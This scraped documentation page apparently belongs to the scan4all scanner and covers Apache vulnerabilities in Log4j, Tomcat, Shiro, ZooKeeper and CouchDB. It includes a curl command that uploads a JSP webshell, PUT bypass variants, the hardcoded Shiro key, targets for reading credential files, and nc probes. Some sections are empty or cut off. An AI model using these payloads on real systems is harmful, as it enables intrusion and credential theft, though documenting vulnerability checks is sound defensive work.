Apache Software Foundation produces many widely-used open source projects. scan4all includes POCs for critical vulnerabilities in Apache Log4j, Tomcat, Shiro, ZooKeeper, and CouchDB.
Description:Log4Shell is one of the most critical vulnerabilities ever discovered. It allows unauthenticated remote code execution via JNDI injection in logged messages. The vulnerability is trivial to exploit and affects countless Java applications.Exploitation:
Description:When running on Windows with HTTP PUT enabled and configured with readonly=false, Tomcat allows uploading arbitrary files including JSP webshells.Requirements:
Windows operating system
HTTP PUT method enabled
readonly parameter set to false
Exploitation:
# Upload a test filecurl -X PUT http://target/vtset.txt -d "test content"# Upload JSP webshellcurl -X PUT http://target/shell.jsp/ -d "<% Runtime.getRuntime().exec(request.getParameter('cmd')); %>"
Bypass Technique:
# Trailing slash or special charactersPUT /shell.jsp/PUT /shell.jsp::PUT /shell.jsp%20
Description:Ghostcat exploits the AJP (Apache JServ Protocol) connector to read arbitrary files from the server, including configuration files with credentials. Can also be leveraged for RCE by uploading files via PUT.Attack Scenarios:
1
File Read
Read web.xml, configuration files, source code
2
Credential Theft
Extract database credentials and secrets
3
File Upload + Read = RCE
Upload malicious file via CVE-2017-12615, then read/execute it
Exploitation:
# Read web.xmlAJP request to read /WEB-INF/web.xml# Common targets/WEB-INF/web.xml/WEB-INF/classes/application.properties/etc/passwd
Description:Apache Shiro uses a hardcoded encryption key to encrypt the “rememberMe” cookie. Attackers can decrypt the cookie, inject malicious serialized objects, re-encrypt with the known key, and achieve remote code execution.Technical Details:
Component: RememberMe functionality
Encryption: AES with CBC mode
Known Key:kPH+bIxk5D2deZiIxcaaaA== (Base64)
Attack: Java deserialization with gadget chains
Exploitation Process:
1
Generate Payload
Create malicious Java object using CommonCollections or CommonsBean
Description:ZooKeeper does not enable authentication by default. Exposed ZooKeeper instances allow anyone to read and modify configuration data, potentially affecting distributed systems that rely on it.Impact:
Configuration tampering
Service disruption
Information disclosure
Cluster manipulation
Detection:
# Connect to ZooKeeperecho "ruok" | nc target 2181# Response: imok# List nodesecho "dump" | nc target 2181# Get statsecho "stat" | nc target 2181
Description:CouchDB uses Erlang’s distributed computing features. If the Erlang Port Mapper Daemon (epmd) and Erlang node ports are exposed with default or weak cookies, attackers can execute arbitrary commands.Requirements:
# Scan for all Apache vulnerabilitiesscan4all -h http://target.com# Focus on specific productscan4all -h http://target.com -poc log4jscan4all -h http://target.com -poc tomcat# Test specific CVEscan4all -h http://target.com -poc CVE-2021-44228